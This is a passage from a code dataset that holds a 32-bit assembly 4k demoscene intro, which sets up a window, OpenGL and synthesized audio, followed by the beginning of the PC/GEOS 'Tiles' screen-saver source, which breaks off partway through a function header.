] | 29 | 2018-05-20T02:03:20.000Z | 2022-02-02T17:33:31.000Z | yo29_4k/yo29.asm | w23/jetlag_appear | 4e70e57651f56b7252cae6dafc90989cab4830de | [
"MIT"
] | 2 | 2018-06-24T06:19:41.000Z | 2019-01-17T12:58:54.000Z | yo29_4k/yo29.asm | w23/jetlag_appear | 4e70e57651f56b7252cae6dafc90989cab4830de | [
"MIT"
] | 4 | 2018-05-20T05:05:35.000Z | 2021-08-24T14:23:57.000Z | BITS 32
global _entrypoint
%define AUDIO_THREAD
%define WIDTH 1280
%define HEIGHT 720
%define NOISE_SIZE 1024
%define NOISE_SIZE_BYTES (4 * NOISE_SIZE * NOISE_SIZE)
;%include "4klang.inc"
%define SAMPLE_RATE 44100
%define MAX_INSTRUMENTS 10
%define MAX_VOICES 2
%define HLD 1
%define BPM 60.000000
%define MAX_PATTERNS 57
%define PATTERN_SIZE_SHIFT 4
%define PATTERN_SIZE (1 << PATTERN_SIZE_SHIFT)
%define MAX_TICKS (MAX_PATTERNS*PATTERN_SIZE)
%define SAMPLES_PER_TICK 11025
%define DEF_LFO_NORMALIZE 0.0000226757
%define MAX_SAMPLES (SAMPLES_PER_TICK*MAX_TICKS)
extern __4klang_render@4
%ifndef DEBUG
%define FULLSCREEN
%define GLCHECK
%else
%macro GLCHECK 0
call glGetError
test eax, eax
jz %%ok
int 3
%%ok:
%endmacro
%endif
GL_TEXTURE_2D EQU 0x0de1
GL_FRAGMENT_SHADER EQU 0x8b30
GL_UNSIGNED_BYTE EQU 0x1401
GL_FLOAT EQU 0x1406
GL_RGBA EQU 0x1908
GL_LINEAR EQU 0x2601
GL_TEXTURE_MIN_FILTER EQU 0x2801
GL_RGBA16F EQU 0x881a
GL_BLEND EQU 0x0be2
GL_SRC_ALPHA EQU 0x0302
GL_ONE_MINUS_SRC_ALPHA EQU 0x0303
%macro WINAPI_FUNCLIST 0
%ifdef FULLSCREEN
WINAPI_FUNC ChangeDisplaySettingsA, 8
%endif
%ifdef AUDIO_THREAD
WINAPI_FUNC CreateThread, 24
%endif
WINAPI_FUNC waveOutOpen, 24
WINAPI_FUNC waveOutWrite, 12
WINAPI_FUNC waveOutGetPosition, 12
WINAPI_FUNC ShowCursor, 4
WINAPI_FUNC CreateWindowExA, 48
WINAPI_FUNC GetDC, 4
WINAPI_FUNC ChoosePixelFormat, 8
WINAPI_FUNC SetPixelFormat, 12
WINAPI_FUNC wglCreateContext, 4
WINAPI_FUNC wglMakeCurrent, 8
WINAPI_FUNC wglGetProcAddress, 4
WINAPI_FUNC SwapBuffers, 4
WINAPI_FUNC PeekMessageA, 20
WINAPI_FUNC GetAsyncKeyState, 4
WINAPI_FUNC glGenTextures, 8
WINAPI_FUNC glBindTexture, 8
WINAPI_FUNC glTexImage2D, 36
WINAPI_FUNC glTexParameteri, 12
WINAPI_FUNC glRects, 16
WINAPI_FUNC glEnable, 4
WINAPI_FUNC glBlendFunc, 8
WINAPI_FUNC glGetError, 0
%if 0
WINAPI_FUNC glClearColor, 16
WINAPI_FUNC glClear, 4
%endif
WINAPI_FUNC ExitProcess, 4
%endmacro
%macro WINAPI_FUNC 2
extern _ %+ %1 %+ @ %+ %2
%1 EQU _ %+ %1 %+ @ %+ %2
%endmacro
WINAPI_FUNCLIST
%unmacro WINAPI_FUNC 2
%macro GL_FUNCLIST 0
GL_FUNC glCreateShaderProgramv
GL_FUNC glUseProgram
GL_FUNC glGetUniformLocation
GL_FUNC glUniform1i
%endmacro
section .dglstr data align=1
gl_proc_names:
%macro GL_FUNC 1
%defstr %[%1 %+ __str] %1
db %1 %+ __str, 0
%endmacro
GL_FUNCLIST
%unmacro GL_FUNC 1
db 0
;vm_procs:
;%macro WINAPI_FUNC 2
; %1 EQU _ %+ %1 %+ @ %+ %2
;%endmacro
;WINAPI_FUNCLIST
;%unmacro WINAPI_FUNC 2
section .bglproc bss
gl_procs:
%macro GL_FUNC 1
%1 %+ _:
%define %1 [%1 %+ _]
resd 1
%endmacro
GL_FUNCLIST
%unmacro GL_FUNC 1
section .dsmain data
%include "main.shader.inc"
section .dpfd data
pfd:
%if 0
DW 028H, 01H
DD 025H
DB 00H, 020H, 00H, 00H, 00H, 00H, 00H, 00H, 08H, 00H, 00H, 00H, 00H, 00H
DB 00H, 020H, 00H, 00H, 00H, 00H
DD 00H, 00H, 00H
%else
DW 00H, 00H
DD 21H ;025H
DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H
DB 00H, 00H, 00H, 00H, 00H, 00H
DD 00H, 00H, 00H
%endif
%ifdef FULLSCREEN
section .ddevmod data
devmode:
times 9 dd 0
db 0x9c, 0, 0, 0
db 0, 0, 0x1c, 0
times 15 dd 0
DD 020H, WIDTH, HEIGHT
times 10 dd 0
%endif
section .dstrs data
%ifdef DEBUG
static: db "static", 0
%endif
S: db 'S', 0
F: db 'F', 0
section .dwvfmt data
wavefmt:
dw 3 ; wFormatTag = WAVE_FORMAT_IEEE_FLOAT
dw 2 ; nChannels
dd SAMPLE_RATE ; nSamplesPerSec
dd SAMPLE_RATE * 4 * 2; nAvgBytesPerSec
dw 4 * 2 ; nBlockAlign
dw 8 * 4 ; wBitsPerSample
dw 0 ; cbSize
section .dwvhdr data
wavehdr:
dd sound_buffer ; lpData
dd MAX_SAMPLES * 2 * 4 ; dwBufferLength
times 2 dd 0 ; unused stuff
;dd 0 ; dwFlags TODO WHDR_PREPARED 0x00000002
dd 2 ; dwFlags WHDR_PREPARED = 0x00000002
times 4 dd 0 ; unused stuff
wavehdr_size EQU ($ - wavehdr)
section .bsndbuf bss
sound_buffer: resd MAX_SAMPLES * 2
section .bnoise bss
dev_null:
noise: resb NOISE_SIZE_BYTES
section .dsptrs data
src_main:
dd _main_shader_glsl
section .dsmplrs data
samplers:
dd 0
tex_noise EQU 1
prog_main EQU 1
%macro initTexture 6
FNCALL glBindTexture, GL_TEXTURE_2D, %1
FNCALL glTexImage2D, GL_TEXTURE_2D, 0, %4, %2, %3, 0, GL_RGBA, %5, %6
FNCALL glTexParameteri, GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR
%endmacro
%ifdef DEBUG
WNDCLASS EQU static
%else
%define WNDCLASS SZ_WORD 0xc018
%endif
%define SZ_WORD
%define SZ_BYTE
section .centry text align=1
_entrypoint:
%if 1
%define ZERO 0
%else
%define ZERO ecx
xor ZERO, ZERO
%endif
pushonly:
%macro FNCALL_ARGSONLY 1-*
%rep %0-1
%rotate -1
push %1
%endrep
%endmacro
%define FNCALL FNCALL_ARGSONLY
FNCALL_ARGSONLY waveOutWrite, wavehdr, SZ_BYTE wavehdr_size
FNCALL glCreateShaderProgramv, GL_FRAGMENT_SHADER, 1, src_main
FNCALL glTexParameteri, SZ_WORD GL_TEXTURE_2D, SZ_WORD GL_TEXTURE_MIN_FILTER, SZ_WORD GL_LINEAR
FNCALL glTexImage2D, SZ_WORD GL_TEXTURE_2D, ZERO, SZ_WORD GL_RGBA, SZ_WORD NOISE_SIZE, SZ_WORD NOISE_SIZE, ZERO, SZ_WORD GL_RGBA, SZ_WORD GL_UNSIGNED_BYTE, noise
FNCALL glBindTexture, SZ_WORD GL_TEXTURE_2D, tex_noise
FNCALL glGenTextures, SZ_BYTE 1, dev_null
FNCALL glBlendFunc, SZ_WORD GL_SRC_ALPHA, SZ_WORD GL_ONE_MINUS_SRC_ALPHA
FNCALL glEnable, SZ_WORD GL_BLEND
FNCALL_ARGSONLY SetPixelFormat, pfd
FNCALL_ARGSONLY ChoosePixelFormat, pfd
FNCALL CreateWindowExA, ZERO, WNDCLASS, ZERO, 0x90000000, ZERO, ZERO, SZ_WORD WIDTH, SZ_WORD HEIGHT, ZERO, ZERO, ZERO, ZERO
FNCALL ShowCursor, ZERO
FNCALL waveOutOpen, noise, byte -1, wavefmt, ZERO, ZERO, ZERO
;window_init:
%ifdef FULLSCREEN
FNCALL ChangeDisplaySettingsA, devmode, SZ_BYTE 4
%endif
%ifndef DEBUG ; crashes :(
%ifdef AUDIO_THREAD
; CreateThread(0, 0, (LPTHREAD_START_ROUTINE)soundRender, sound_buffer, 0, 0);
FNCALL CreateThread, ZERO, ZERO, __4klang_render@4, sound_buffer, ZERO, ZERO
%else
FNCALL __4klang_render@4, sound_buffer
%endif
%endif
; grow stack for waveOutGetPosition mmtime struct
%if 0
push ebp
push ebp
push ebp
push ebp
%endif
%undef ZERO
%define ZERO 0
%macro DO_INIT 0
%ifndef DEBUG
%ifdef AUDIO_THREAD
; CreateThread(0, 0, (LPTHREAD_START_ROUTINE)soundRender, sound_buffer, 0, 0);
FNCALL CreateThread, ZERO, ZERO, __4klang_render@4, sound_buffer, ZERO, ZERO
%else
FNCALL __4klang_render@4, sound_buffer
%endif
%endif
;window_init:
%ifdef FULLSCREEN
FNCALL ChangeDisplaySettingsA, devmode, 4
%endif
;CHECK(waveOutOpen(&hWaveOut, WAVE_MAPPER, &WaveFMT, NULL, 0, CALLBACK_NULL));
FNCALL waveOutOpen, noise, byte -1, wavefmt, ZERO, ZERO, ZERO
DO_INST mov, ebp, dword [noise]
FNCALL ShowCursor, ZERO
FNCALL CreateWindowExA, ZERO, WNDCLASS, ZERO, 0x90000000, ZERO, ZERO, WIDTH, HEIGHT, ZERO, ZERO, ZERO, ZERO
DO_INST push, eax
DO_INST call, GetDC
FNCALL_ARGSONLY ChoosePixelFormat, pfd
DO_INST push, eax
DO_INST mov, edi, eax ; edi is hdc from now on
DO_INST call, ChoosePixelFormat
FNCALL_ARGSONLY SetPixelFormat, pfd
DO_INST push, eax
DO_INST push, edi
DO_INST call, SetPixelFormat
DO_INST push, edi
DO_INST call, wglCreateContext
DO_INST push, eax
DO_INST push, edi
DO_INST call, wglMakeCurrent
GLCHECK
DO_GL_PROC
DO_GENERATE_NOISE
FNCALL glEnable, GL_BLEND
FNCALL glBlendFunc, GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA
;alloc_resources:
FNCALL glGenTextures, 1, dev_null
GLCHECK
;init_textures:
initTexture tex_noise, NOISE_SIZE, NOISE_SIZE, GL_RGBA, GL_UNSIGNED_BYTE, noise
FNCALL glCreateShaderProgramv, GL_FRAGMENT_SHADER, 1, src_main
DO_INST push, eax
DO_INST call, glUseProgram
GLCHECK
;CHECK(waveOutWrite(hWaveOut, &WaveHDR, sizeof(WaveHDR)));
FNCALL_ARGSONLY waveOutWrite, wavehdr, wavehdr_size
DO_INST push, ebp
DO_INST call, waveOutWrite
; grow stack for waveOutGetPosition mmtime struct
%if 0
push ebp
push ebp
push ebp
push ebp
%endif
%endmacro ; DO_INIT
;DO_INIT
%undef FNCALL_ARGSONLY
%undef FNCALL
%undef DO_GL_PROC
%undef DO_INST
%macro FNCALL_ARGSONLY 1-*
%endmacro
%macro FNCALL 1-*
call %1
%endmacro
%if 0
%macro FNCALL 1-*
%rep %0-1
%rotate -1
push %1
%endrep
%rotate -1
call %1
%endmacro
%endif
%macro DO_GL_PROC 0
;gl_proc_loader:
mov esi, gl_proc_names
mov ebx, gl_procs
gl_proc_loader_loop:
push esi
call wglGetProcAddress
mov [ebx], eax
lea ebx, [ebx + 4]
gl_proc_skip_until_zero:
mov al, [esi]
inc esi
test al, al
jnz gl_proc_skip_until_zero
cmp [esi], al
jnz gl_proc_loader_loop
GLCHECK
%endmacro
%macro DO_GENERATE_NOISE 0
;generate_noise:
;; ecx is not zero after CreateThread; expects ecx zero
xor edx, edx
xor ecx, ecx
noise_loop:
IMUL ECX, ECX, 0x19660D
ADD ECX, 0x3C6EF35F
MOV EAX, ECX
SHR EAX, 0x12
MOV [EDX+noise], AL
INC EDX
CMP EDX, NOISE_SIZE_BYTES
JL noise_loop
%endmacro
%macro DO_INST 3
%1 %2, %3
%endmacro
%macro DO_INST 2
%1 %2
%endmacro
do_only:
DO_INIT
mainloop:
mov ebx, esp
mov dword [ebx], 4
; waveOutGetPosition(hWaveOut, &mmtime, sizeof(mmtime))
push 12
push ebx
push ebp
call waveOutGetPosition
mov eax, dword [esp + 4]
cmp eax, MAX_SAMPLES * 8
jge exit
push 01bH ;GetAsyncKeyState
push 1
push 0
push 0
push 0
push 0
push edi
push 1
push 1
push byte -1
push byte -1
push 0
push S
push prog_main
push eax
push F
push prog_main
call glGetUniformLocation
push eax
call glUniform1i
call glGetUniformLocation
push eax
call glUniform1i
call glRects
call SwapBuffers
call PeekMessageA
call GetAsyncKeyState
jz mainloop
exit:
call ExitProcess
| 19.965665 | 162 | 0.767197 |
dc78fff330790bef70e0476538a762dd5179ad73 | 28,016 | asm | Assembly | Appl/Saver/Tiles/tiles.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Saver/Tiles/tiles.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Saver/Tiles/tiles.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: Tiles
FILE: tiles.asm
AUTHOR: Gene Anderson, Mar 31, 1992
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 3/31/92 Initial revision
stevey 12/20/92 port to 2.0
DESCRIPTION:
Tiles screen saver
$Id: tiles.asm,v 1.1 97/04/04 16:48:02 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include stdapp.def
include timer.def
include initfile.def
UseLib ui.def
UseLib saver.def
include tiles.def
;=============================================================================
;
; OBJECT CLASSES
;
;=============================================================================
TilesApplicationClass class SaverApplicationClass
MSG_TILES_APP_DRAW message
;
; Move a tile. Sent by timer.
;
; Pass: nothing
; Return: nothing
;
TAI_speed word TILES_MEDIUM_SPEED
TAI_size byte TILES_MEDIUM_PIECE
TAI_bevel word TILES_NO_BEVEL
TAI_timerHandle hptr 0
noreloc TAI_timerHandle
TAI_timerID word 0
TAI_random hptr 0
noreloc TAI_random
TilesApplicationClass endc
TilesProcessClass Class GenProcessClass
TilesProcessClass endc
;==============================================================================
;
; VARIABLES
;
;==============================================================================
include tiles.rdef
ForceRef TilesApp
udata segment
winWidth word
winHeight word
ourHeight word
ourWidth word
pieceSize word ; size of a piece (pixels)
numRows word ; # of pieces high
numColumns word ; # of piece wide
openRow word ; row of open piece
openColumn word ; column of open piece
lastDirection byte ; last direction traveled
maxBlit word ; maximum blit amount
udata ends
idata segment
TilesProcessClass mask CLASSF_NEVER_SAVED
TilesApplicationClass
idata ends
TilesCode segment resource
.warn -private
tilesOptionTable SAOptionTable <
tilesCategory, length tilesOptions
>
tilesOptions SAOptionDesc <
tilesSpeedKey, size TAI_speed, offset TAI_speed
>, <
tilesSizeKey, size TAI_size, offset TAI_size
>, <
tilesBevelKey, size TAI_bevel, offset TAI_bevel
>
.warn @private
tilesCategory char 'tiles', 0
tilesSpeedKey char 'speed', 0
tilesSizeKey char 'size', 0
tilesBevelKey char 'bevel', 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesLoadOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load our options from the ini file.
CALLED BY: MSG_META_LOAD_OPTIONS
PASS: *ds:si = TilesApplicationClass object
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/20/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesLoadOptions method dynamic TilesApplicationClass,
MSG_META_LOAD_OPTIONS
uses ax, es
.enter
segmov es, cs
mov bx, offset tilesOptionTable
call SaverApplicationGetOptions
.leave
mov di, offset TilesApplicationClass
GOTO ObjCallSuperNoLock
TilesLoadOptions endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesAppGetWinColor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Makes sure the screen isn't blanked first.
CALLED BY: MSG_SAVER_APP_GET_WIN_COLOR
PASS: *ds:si = TilesApplicationClass object
ds:di = TilesApplicationInstance
RETURN: ax = WinColorFlags
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/20/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesAppGetWinColor method dynamic TilesApplicationClass,
MSG_SAVER_APP_GET_WIN_COLOR
;
; Let the superclass do its thing.
;
mov di, offset TilesApplicationClass
call ObjCallSuperNoLock
ornf ah, mask WCF_TRANSPARENT
ret
TilesAppGetWinColor endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesAppSetWin
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Record the window & gstate, and get things rolling.
CALLED BY: MSG_SAVER_APP_SET_WIN
PASS: *ds:si = TilesApplicationClass object
dx = window
bp = gstate
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/20/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesAppSetWin method dynamic TilesApplicationClass,
MSG_SAVER_APP_SET_WIN
;
; Let the superclass do its little thing.
;
mov di, offset TilesApplicationClass
call ObjCallSuperNoLock
mov di, ds:[si]
add di, ds:[di].TilesApplication_offset
;
; Create a random number generator.
;
call TimerGetCount
mov dx, bx ; dxax <- seed
clr bx ; bx <- allocate a new one
call SaverSeedRandom
mov ds:[di].TAI_random, bx
;
; Do all our specific initialization.
;
call TilesStart
;
; Start up the timer to draw a new line.
;
call TilesSetTimer
ret
TilesAppSetWin endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesAppUnsetWin
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Stop saving the screen.
CALLED BY: MSG_SAVER_APP_UNSET_WIN
PASS: *ds:si = TilesApplicationClass object
ds:di = TilesApplicationInstance
RETURN: dx = old Window
bp = old gstate
DESTROYED: ax, cx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/20/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesAppUnsetWin method dynamic TilesApplicationClass,
MSG_SAVER_APP_UNSET_WIN
;
; Stop the draw timer.
;
clr bx
xchg bx, ds:[di].TAI_timerHandle
mov ax, ds:[di].TAI_timerID
call TimerStop
;
; Nuke the random number generator.
;
clr bx
xchg bx, ds:[di].TAI_random
call SaverEndRandom
;
; Call our superclass to take care of the rest.
;
mov ax, MSG_SAVER_APP_UNSET_WIN
mov di, offset TilesApplicationClass
GOTO ObjCallSuperNoLock
TilesAppUnsetWin endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesStart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Start saving the screen in our own little way
CALLED BY: TilesAppSetWin
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 3/24/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesStart proc near
class TilesApplicationClass
uses ax,bx,cx,dx
.enter
mov es:[lastDirection], -1
;
; Save the window and gstate we were given for later use.
;
mov dx, ds:[di].SAI_bounds.R_bottom
sub dx, ds:[di].SAI_bounds.R_top
inc dx
mov es:[winHeight], dx
mov es:[ourHeight], dx
mov dx, ds:[di].SAI_bounds.R_right
sub dx, ds:[di].SAI_bounds.R_left
inc dx
mov es:[winWidth], dx
mov es:[ourWidth], dx
;
; We're dull - we always draw in black
;
mov di, ds:[di].SAI_curGState
mov ax, C_BLACK or (CF_INDEX shl 8)
call GrSetAreaColor
mov al, mask CMM_ON_BLACK
call GrSetAreaColorMap
mov di, ds:[si]
add di, ds:[di].TilesApplication_offset
;
; Initalize the board and pieces
;
call InitTiles
;
; Initialize the maximum blit amount, based on the speed and
; size of the pieces. We also round it up to the next byte
; multiple, since that will generally be faster to blit.
;
clr dx
mov ax, es:[pieceSize] ;dx:ax <- size of pieces
div ds:[di].TAI_speed ;/speed (low speed # = fast)
inc ax ;zero is truly evil
add ax, 0x7
andnf ax, 0xfff8 ;round to next byte multiple
mov es:[maxBlit], ax
.leave
ret
TilesStart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitTiles
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the tiles
CALLED BY: TilesStart
PASS: es:winWidth = width of window
es:winHeight = height of window
ds:[di] = TilesApplicationInstance
RETURN: es:pieceSize = size of a piece (pixels)
es:numRows = number of rows
es:numColumns = number of columns
es:openRow = open row (0 to r-1)
es:openColumn = open column (0 to c-1)
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/17/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitTiles proc near
class TilesApplicationClass
.enter
;
; Initialize the piece size. If we're on a weird screen like
; CGA or HGC, using 1/4,1/8 or 1/16 of the screen width may
; result in a single row. To avoid this, we check the large
; size to make sure it won't have a problem. If it will, we
; use 1/4,1/8 or 1/16 of the screen height instead.
;
mov bx, es:[winWidth]
mov cl, TILES_LARGE_PIECE
shr bx, cl ; bx <- large piece size
clr dx
mov ax, es:[winHeight]
div bx ; ax <- # of rows
cmp ax, 1 ; need at least one row
mov ax, es:[winHeight] ; in case we branch
jbe useHeight ; branch if only one row
mov ax, es:[winWidth] ; ax <- width of Window
useHeight:
mov cl, ds:[di].TAI_size ; cl <- size
shr ax, cl ; width / {4,8 or 16}
mov es:[pieceSize], ax ; save piece size
;
; Calculate the number of rows of pieces
;
mov ax, es:[winHeight] ; ax <- height of Window
clr dx
div es:[pieceSize] ; ax <- # of rows
mov es:[numRows], ax ; save # of rows
tst dx ; any remainder?
jz rowsOK ; branch if no remainder
;
; If there is a partial row, erase it -- blitting partial pieces
; eventually nukes part of every piece on the screen.
;
mov ax, es:[numRows]
clr bx ; (ax,bx) <- (r,c)
call GetScreenPos ; (ax,bx) <- upper left
mov cx, es:[winWidth]
mov dx, es:[winHeight] ; (cx,dx) <- lower right
mov bp, di
mov di, ds:[di].SAI_curGState
call GrFillRect
mov di, bp
mov es:[ourHeight], bx
rowsOK:
;
; Calculate the number of columns of pieces
;
mov ax, es:[winWidth] ; ax <- width of Window
clr dx
div es:[pieceSize] ; ax <- # of columns
mov es:[numColumns], ax ; save # of columns
tst dx ; any remainder?
jz columnsOK ; branch if no remainder
;
; If there is a partial column, erase it -- blitting partial pieces
; eventually nukes part of every piece on the screen.
;
mov bx, ax
clr ax ; (ax,bx) <- (r,c)
call GetScreenPos ; (ax,bx) <- upper left
mov cx, es:[winWidth]
mov dx, es:[winHeight] ; (cx,dx) <- lower right
mov bp, di
mov di, ds:[di].SAI_curGState
call GrFillRect
mov di, bp
mov es:[ourWidth], ax
columnsOK:
;
; Calculate the initial open spot
;
mov dx, es:[numColumns] ; dx <- # of columns
mov bx, ds:[di].TAI_random
call SaverRandom
mov es:[openColumn], dx ; save x open
mov dx, es:[numRows] ; dx <- # of rows
call SaverRandom
mov es:[openRow], dx ; save y open
;
; Erase the initial tile
;
call EraseOpenTile
;
; Initalize grid lines
;
call InitGridLines
.leave
ret
InitTiles endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitGridLines
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize grid lines
CALLED BY: InitTiles
PASS: ds:[di] = TilesApplicationInstance
es:[numRows] = number of rows
es:[numColumns] = number of columns
es:[winHeight] = height of screen
es:[winWidth] = width of screen
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/17/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitGridLines proc near
class TilesApplicationClass
.enter
;
; Frame each piece
;
clr bx ; bx <- y1
rowLoop:
;
; For each row...
;
clr ax ; ax <- x position
mov dx, bx
add dx, es:[pieceSize] ; dx <- bottom of rectangle
columnLoop:
;
; For each column...
;
mov bp, di ; bp = instance data
mov di, ds:[di].SAI_curGState
push ax
mov ax, C_BLACK or (CF_INDEX shl 8)
call GrSetLineColor
pop ax
mov cx, ax
add cx, es:[pieceSize] ; cx <- right of rectangle
call GrDrawRect ; draw me jesus
mov di, bp ; di = instance data
tst ds:[di].TAI_bevel ; any beveled edge?
jz noBevel
call InitBevel
noBevel:
;
; More columns?
;
add ax, es:[pieceSize] ; ax <- next x position
cmp ax, es:[ourWidth] ; to right side yet?
jb columnLoop ; loop while more
;
; More rows?
;
add bx, es:[pieceSize] ; bx <- next y position
cmp bx, es:[ourHeight] ; to bottom yet?
jb rowLoop ; loop while more
.leave
ret
InitGridLines endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitBevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw bevel for pieces
CALLED BY: InitGridLines
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
(ax,bx,cx,dx) = bounds of piece to bevel
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 3/23/92 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitBevel proc near
class TilesApplicationClass
uses ax,bx,cx,dx,si,di
.enter
mov si, ds:[di].TAI_bevel ; si <- # of lines
mov di, ds:[di].SAI_curGState
bevelLoop:
inc ax
inc bx
dec cx
dec dx ; (ax,bx,cx,dx) <- inset bounds
;
; Draw the top left in white
;
push ax
mov ax, C_WHITE or (CF_INDEX shl 8)
call GrSetLineColor
pop ax
call GrDrawHLine
call GrDrawVLine
;
; Draw the bottom right in gray
;
push ax
mov ax, C_DARK_GRAY or (CF_INDEX shl 8)
call GrSetLineColor
pop ax
push bx
mov bx, dx
call GrDrawHLine
pop bx
push ax
mov ax, cx
call GrDrawVLine
pop ax
;
; Loop while more bevel lines
;
dec si
jnz bevelLoop
.leave
ret
InitBevel endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesAppDraw
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do one step of drawing the screen saver
CALLED BY: MSG_TILES_APP_DRAW
PASS: *ds:si = TilesApplicationClass object
ds:di = TilesApplicationClass instance data
es = dgroup
RETURN: nothing
DESTROYED: ax, cx, dx, bp
